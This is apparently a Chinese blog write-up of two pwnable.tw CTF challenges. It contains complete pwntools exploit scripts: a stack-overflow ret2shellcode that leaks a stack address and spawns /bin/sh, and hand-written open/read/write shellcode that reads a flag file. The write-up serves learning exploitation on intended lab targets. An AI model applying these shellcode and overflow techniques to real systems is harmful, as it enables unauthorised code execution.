1.start#

这题简单是就是 ret2shellcode ，但是又有陷阱点，直接 ida 反编译的结果中，你是看不到其他信息的。

一个开始函数，一个退出函数，直接看的话，就是看见输入什么，然后就退出去了。

但是实际运行，是明显可以看见读取输入的逻辑的。

仔细看汇编代码，便能看见四个 push 的指令。

通过分析程序，可以看到由于小端序的缘故。

1
push 0x3a465443   ; "CTF:"
2
push 0x20656874   ; "the "
3
push 0x20747261   ; "art "
4
push 0x74732073   ; "s st"
5
push 0x2774654c   ; "Let'"

倒着转化，得到以上内容。

gdb 里面也可以看到。

最关键的逻辑在这里。

1
08048087: mov ecx, esp
2
08048089: mov dl, 0x14
3
0804808b: mov bl, 0x1
4
0804808d: mov al, 0x4
5
0804808f: int 0x80        ; write(1, esp, 20)
6

7
08048091: xor ebx, ebx
8
08048093: mov dl, 0x3c
9
08048095: mov al, 0x3
10
08048097: int 0x80        ; read(0, esp, 60)
11

12
08048099: add esp, 0x14
13
0804809c: ret

一个是write函数的汇编，一个是read函数的汇编。

有了这两个，我们就可以利用栈溢出往栈上面写入我们需要的数据，然后进行返回地址的泄露。

两次输入。

1.输入`b"A" * 20 + p32(0x08048087)`#

覆盖返回地址调用write，写出栈的位置。

1
leak = io.recvn(20)
2
stack = u32(leak[:4])

2.输入`b"A" * 20 + p32(stack + 0x14) + shellcode`#

exp：#

1
from pwn import *
2

3
context(log_level='debug', arch='i386', os='linux')
4

5
io = process('./start')
6
# io = remote('chall.pwnable.tw', 10000)
7

8
shellcode_asm = '''
9
xor eax,eax
10
xor edx,edx
11
push edx
12
push 0x68732f2f
13
push 0x6e69622f
14
mov ebx,esp
15
xor ecx,ecx
16
mov al,0xb
17
int 0x80
18
'''
19

20
shellcode = asm(shellcode_asm)
21
print(len(shellcode))
22

23
io.recvuntil(b"CTF:")
24

25
payload1 = b"A" * 20 + p32(0x08048087)
26
io.send(payload1)
27

28
leak = io.recvn(20)
29
stack = u32(leak[:4])
30

31
log.info("stack: " + hex(stack))
32

33
payload2 = b"A" * 20 + p32(stack + 0x14) + shellcode
34
io.send(payload2)
35

36
io.interactive()

其实整个难理解，或者说对于payload，我存在问题的是，第二次输入的时候栈要 +0x14 ，最主要的原因其实，是在第一次push的时候，esp也就是栈减了4，然后我们的数据才读取进入，

这边，说实话，真正手操的时候，我觉得我还是没办法这么直接操作。

因为纯汇编的缘故，我看不懂。

但是有个方法，就是纯动态调试。

有点不太会我想要展示的效果就是在我原脚本加断点然后动态调试的信息会根据我脚本运行的每一步产生相应的变化，但是失败了。

不过，ai还是出了力。

我已经尽可能的想要表述清楚这次的攻击流程，奈何技术不够，只能这样了。

最后把本地改成远程就可以打通了。

2.orw(基础ret2shellcode)#

纯自写orw的open，read，write汇编，变成shellcode。

exp：#

1
from pwn import *
2

3
context.arch = 'i386'
4
context.os = 'linux'
5
context.log_level = 'debug'
6

7
io = remote('chall.pwnable.tw', 10001)
8

9
shellcode = asm('''
10
    xor ecx, ecx
11
    xor edx, edx
12
    push edx
13
    push 0x67616c66
14
    push 0x2f77726f
15
    push 0x2f656d6f
16
    push 0x682f2f2f
17
    mov ebx, esp
18
    mov eax, 5
19
    int 0x80
20

21
    mov ebx, eax
22
    mov ecx, esp
23
    mov edx, 0x40
24
    mov eax, 3
25
    int 0x80
26

27
    mov edx, eax
28
    mov ebx, 1
29
    mov eax, 4
30
    int 0x80
31
''')
32

33
io.recvuntil(b'shellcode:')
34
io.send(shellcode)
35
io.interactive()

相当于：

1
from pwn import *
2

3
context.arch = 'i386'
4
context.os = 'linux'
5

6
io = remote('chall.pwnable.tw', 10001)
7

8
shellcode = asm(
9
    shellcraft.open('/home/orw/flag') +
10
    shellcraft.read('eax', 'esp', 0x40) +
11
    shellcraft.write(1, 'esp', 0x40)
12
)
13

14
io.recvuntil(b'shellcode:')
15
io.send(shellcode)
16
io.interactive()

3.CVE-2018-1160#

版权声明：本文由 余林阳 创作，转载请注明出处。

是真是假

PWNable刷刷题

1.start#

1.输入`b"A" * 20 + p32(0x08048087)`#

2.输入`b"A" * 20 + p32(stack + 0x14) + shellcode`#

exp：#

2.orw(基础ret2shellcode)#

exp：#

3.CVE-2018-1160#

喜欢这篇文章吗？

评论区

目录

是真 是假

PWNable刷刷题

1.start#

1.输入b"A" * 20 + p32(0x08048087)#

2.输入b"A" * 20 + p32(stack + 0x14) + shellcode#

exp：#

2.orw(基础ret2shellcode)#

exp：#

3.CVE-2018-1160#

喜欢这篇文章吗？

评论区

目录

是真是假

1.输入`b"A" * 20 + p32(0x08048087)`#

2.输入`b"A" * 20 + p32(stack + 0x14) + shellcode`#